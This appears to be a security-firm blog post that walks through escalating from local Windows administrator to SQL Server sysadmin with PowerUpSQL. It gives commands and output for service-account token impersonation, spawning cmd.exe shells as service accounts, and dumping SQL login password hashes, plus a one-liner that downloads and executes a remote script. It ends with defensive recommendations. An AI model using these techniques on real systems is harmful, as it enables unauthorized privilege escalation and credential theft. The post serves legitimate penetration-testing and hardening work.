
How to get SQL Server Sysadmin Privileges as a Local Admin with PowerUpSQL
In this blog, I outline common techniques that can be used to leverage the SQL Server service account to escalate privileges from a local administrator to a SQL Server sysadmin (DBA). I also share a few PowerUpSQL functions that I worked on with Mike Manzotti (@mmanzo_) to perform SQL Server service account impersonation by wrapping Joe Bialek’s (@JosephBialek) wonderful Invoke-TokenManipulation function.
SQL Server Service Account Overview
At its core, SQL Server is just another Windows application. In the case of SQL Server, every instance installs as a set of Windows Services that run in the background. Each of those Windows services is configured to run with a Windows account. The associated Windows account is then used for all interaction with the operating system.
The primary Window service behind SQL Server is the “SQL Server (Instance)” service, which runs sqlservr.exe. Typically, the instance name is baked into the service name. For the sake of illustration, here is what three instances installed on the same system looks like in the services.msc.
SQL Server Service Account Types
SQL Server services can be configured with many types of Windows accounts. Naturally the type of Windows account chosen can dramatically affects the impact in the event that a SQL Server is compromised.
Below are some common service account types:
- Local User
- LocalSystem
- NetworkService
- Local Managed Service Account
- Domain Managed Service Account
- Domain User
- Domain Admin
So…impersonating the service account could potentially land you Domain Admin privileges. However, that’s not the goal of today’s exercise. 😉
If you only remember one thing from this blog it should be:
Regardless of a SQL Server service account’s privileges on the operating system, it has sysadmin privileges in SQL Server by default. That is true of every SQL Server version (that I’m aware of).
Now, let’s talk about how to get that sysadmin access as a local administrator or Domain Admin.
How do I impersonate the SQL Server Service Account?
Below are some common methods for impersonating SQL Server service accounts or acquiring their passwords if you have local or domain administrator privileges.
Note: All the techniques focus on the operating system level. However, a local administrator could also obtain sysadmin privileges from a least privilege SQL Server login using SQL Server layer vulnerabilities.
For those who are curious about what versions of SQL Server are affected by which techniques I’ve provided a list below:
How do I impersonate the SQL Server Service Account using PowerUpSQL?
Now that we’ve touched on the common techniques and tools, below are a few handy functions for impersonating the SQL Server service account with PowerUpSQL.
Note: Once again, these functions just wrap around Joe Bialek’s Invoke-TokenManipulation function.
Invoke-SQLImpersonateService
Invoke-SQLImpersonateService can be used to impersonate a SQL Server service account based on an instance name. This can come in handy when you’re a local admin on a box and want to be able to run all the PowerUpSQL functions as a sysadmin against a local SQL Server instance. Below is a basic example.
- Log into the target system as a local or domain administrator. Then verify who you are.
PS C:\> whoami demo\administrator
- Next load the PowerShell module PowerUpSQL.
PS C:\> IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/PowerUpSQL/master/PowerUpSQL.ps1")
- List the first available SQL Server instance on the local system.
PS C:\> Get-SQLInstanceLocal | Select-Object -First 1 ComputerName : MSSQLSRV04 Instance : MSSQLSRV04\BOSCHSQL ServiceDisplayName : SQL Server (BOSCHSQL) ServiceName : MSSQL$BOSCHSQL ServicePath : "C:\Program Files\Microsoft SQL Server\MSSQL12.BOSCHSQL\MSSQL\Binnsqlservr.exe" -sBOSCHSQL ServiceAccount : NT Service\MSSQL$BOSCHSQL State : Running
- Verify that the local administrator does not have sysadmin privileges on the local SQL Server instance using the Get-SQLServerInfo function.
PS C:\> Get-SQLServerInfo -Verbose -Instance MSSQLSRV04\BOSCHSQL VERBOSE: MSSQLSRV04\BOSCHSQL : Connection Success. ComputerName : MSSQLSRV04 Instance : MSSQLSRV04\BOSCHSQL DomainName : DEMO ServiceProcessID : 1620 ServiceName : MSSQL$BOSCHSQL ServiceAccount : NT Service\MSSQL$BOSCHSQL AuthenticationMode : Windows and SQL Server Authentication Clustered : No SQLServerVersionNumber : 12.0.4100.1 SQLServerMajorVersion : 2014 SQLServerEdition : Developer Edition (64-bit) SQLServerServicePack : SP1 OSArchitecture : X64 OsVersionNumber : 6.2 Currentlogin : DEMOAdministrator IsSysadmin : No ActiveSessions : 1
You should notice that the “CurrentLogin” is your current user account, and “IsSysadmin” is “No”. - Impersonate the SQL Server service account for the target instance.
PS C:\> Invoke-SQLImpersonateService -Verbose -Instance MSSQLSRV04\BOSCHSQL VERBOSE: MSSQLSRV04\BOSCHSQL : DEMOadministrator has local admin privileges. VERBOSE: MSSQLSRV04\BOSCHSQL : Impersonating SQL Server process: VERBOSE: MSSQLSRV04\BOSCHSQL : - Process ID: 1620 VERBOSE: MSSQLSRV04\BOSCHSQL : - Service Account: NT Service\MSSQL$BOSCHSQL VERBOSE: MSSQLSRV04\BOSCHSQL : Successfully queried thread token VERBOSE: MSSQLSRV04\BOSCHSQL : Successfully queried thread token VERBOSE: MSSQLSRV04\BOSCHSQL : Selecting token by Process object VERBOSE: MSSQLSRV04\BOSCHSQL : Done.
- Verify that the SQL Server service account for the target instance was successful by running the Get-SQLServerInfo command.
PS C:\> Get-SQLServerInfo -Verbose -Instance MSSQLSRV04\BOSCHSQL VERBOSE: MSSQLSRV04\BOSCHSQL : Connection Success. ComputerName : MSSQLSRV04 Instance : MSSQLSRV04\BOSCHSQL DomainName : DEMO ServiceProcessID : 1620 ServiceName : MSSQL$BOSCHSQL ServiceAccount : NT Service\MSSQL$BOSCHSQL AuthenticationMode : Windows and SQL Server Authentication Clustered : No SQLServerVersionNumber : 12.0.4100.1 SQLServerMajorVersion : 2014 SQLServerEdition : Developer Edition (64-bit) SQLServerServicePack : SP1 OSArchitecture : X64 OsMachineType : ServerNT OSVersionName : Windows Server 2012 Standard OsVersionNumber : 6.2 CurrentLogin : NT Service\MSSQL$BOSCHSQL IsSysadmin : Yes ActiveSessions : 1
You should notice that the “CurrentLogin” is now the SQL Server service account, and “IsSysadmin” is now “Yes”. At this point, any PowerUpSQL function you run will be in a sysadmin context. 🙂
- Once you’re all done doing what you need to do, revert to your original user context with the command below.
PS C:\> Invoke-SQLImpersonateService -Verbose -Rev2Self
Below is a short demo video:
Invoke-SQLImpersonateServiceCmd
Below is an example showing how to quickly start a cmd.exe in the context of each SQL service account associated with the instance MSSQLSRV04\BOSCHSQL. It’s a little silly, but it seems to be an effective way to illustrate risk around SQL Server service accounts during demos.
PS C:\> Invoke-SQLImpersonateServiceCmd -Instance MSSQLSRV04\BOSCHSQL Note: The verbose flag will give you more info if you need it. MSSQLSRV04\BOSCHSQL - Service: SQL Full-text Filter Daemon Launcher (BOSCHSQL) - Running command "cmd.exe" as NT ServiceMSSQLFDLauncher$BOSCHSQL MSSQLSRV04\BOSCHSQL - Service: SQL Server Reporting Services (BOSCHSQL) - Running command "cmd.exe" as NT ServiceReportServer$BOSCHSQL MSSQLSRV04\BOSCHSQL - Service: SQL Server Analysis Services (BOSCHSQL) - Running command "cmd.exe" as NT ServiceMSOLAP$BOSCHSQL MSSQLSRV04\BOSCHSQL - Service: SQL Server (BOSCHSQL) - Running command "cmd.exe" as NT Service\MSSQL$BOSCHSQL All done.
When the function is done running you should have a cmd.exe window for each of the services.
Note: You can also set a custom command to run using the -Exec command.
Get-SQLServerPasswordHash
Mike Manzotti (@mmanzo_) was nice enough to write a great function for pulling SQL Server login password hashes. It can be quite handy during penetration tests when searching for commonly shared account passwords. He also added a -migrate switch to automatically escalate to sysadmin if your executing against a local instance with local administrator privileges.
PS C:\> Get-SQLServerPasswordHash -Verbose -Instance MSSQLSRV04\BOSCHSQL -Migrate VERBOSE: MSSQLSRV04\BOSCHSQL : Connection Success. VERBOSE: MSSQLSRV04\BOSCHSQL : You are not a sysadmin. VERBOSE: MSSQLSRV04\BOSCHSQL : DEMOadministrator has local admin privileges. VERBOSE: MSSQLSRV04\BOSCHSQL : Impersonating SQL Server process: VERBOSE: MSSQLSRV04\BOSCHSQL : - Process ID: 1568 VERBOSE: MSSQLSRV04\BOSCHSQL : - ServiceAccount: NT Service\MSSQL$BOSCHSQL VERBOSE: MSSQLSRV04\BOSCHSQL : Successfully queried thread token VERBOSE: MSSQLSRV04\BOSCHSQL : Successfully queried thread token VERBOSE: MSSQLSRV04\BOSCHSQL : Selecting token by Process object VERBOSE: MSSQLSRV04\BOSCHSQL : Attempting to dump password hashes. VERBOSE: MSSQLSRV04\BOSCHSQL : Attempt complete. VERBOSE: 3 password hashes recovered. ComputerName : MSSQLSRV04 Instance : MSSQLSRV04\BOSCHSQL PrincipalId : 1 PrincipalName : sa PrincipalSid : 1 PrincipalType : SQL_LOGIN CreateDate : 4/8/2003 9:10:35 AM DefaultDatabaseName : master PasswordHash : 0x0200698883dbec3fb88c445d43b99794043453384d13659ce72fc907af5a34534563c1624d935279f6447be9ec44467d4d1ef56d8e14a91fe183450520f560c2 [TRUNCATED]
Note: Mike also mentioned that it’s been working well remotely over WMI. 🙂
General Recommendations
Below are some basic recommendations that can be used to reduce the risk of the common escalation techniques outlined in this blog.
- Upgrade to Windows Server 2012 or greater to support common OS controls.
- Upgrade to SQL Server 2012 or greater to support common SQL Server controls.
- Do not allow the storage of wdigest passwords in memory.
- Do enable process protection.
- Do use managed service accounts for standalone SQL Servers.
- Do use least privilege domain accounts for clustered SQL Servers.
- “Run separate SQL Server services under separate Windows accounts. Whenever possible, use separate, low-rights Windows or Local user accounts for each SQL Server service.” For more information, see Configure Windows Service Accounts and Permissions.
- Consider running endpoint protection that can identify common remote code injection techniques. *I am aware that nobody wants to put performance impacting software on a database server. 🙂
- More from Microsoft here
I would love to say “Simply remove the SQL Server service account from the Sysadmin fixed server role”, but I haven’t done enough testing to feel comfortable with that recommendation. As of right now it is a mystery to me why the service account is a sysadmin by default. If anyone knows why, or has additional mitigating control recommendations please let me know.
Wrap Up
In this blog, I outlined common techniques that can be used to escalate privileges from a local Windows administrator to a SQL Server sysadmin (DBA). I’ve also shared a few new PowerUpSQL functions that wrap the Invoke-TokenManipulation function to help make the job easier. Hopefully they’ll be helpful.
Have fun and hack responsibly!
Explore More Blog Posts

Shift Left Security: Integrating Pentesting Early in Development
Discover how to integrate penetration testing into a shift left security strategy, enhancing application security early in the development lifecycle.

Validating Azure Cloud Security with Breach and Attack Simulation as a Service
NetSPI’s Breach and Attack Simulation as a Service offers focused simulation tests for Azure users to validate your cloud security capabilities.

Getting Shells at Terminal Velocity with Wopper
This article introduces Wopper - a new NetSPI tool that creates self-deleting PHP files and automates code execution on WordPress using administrator credentials.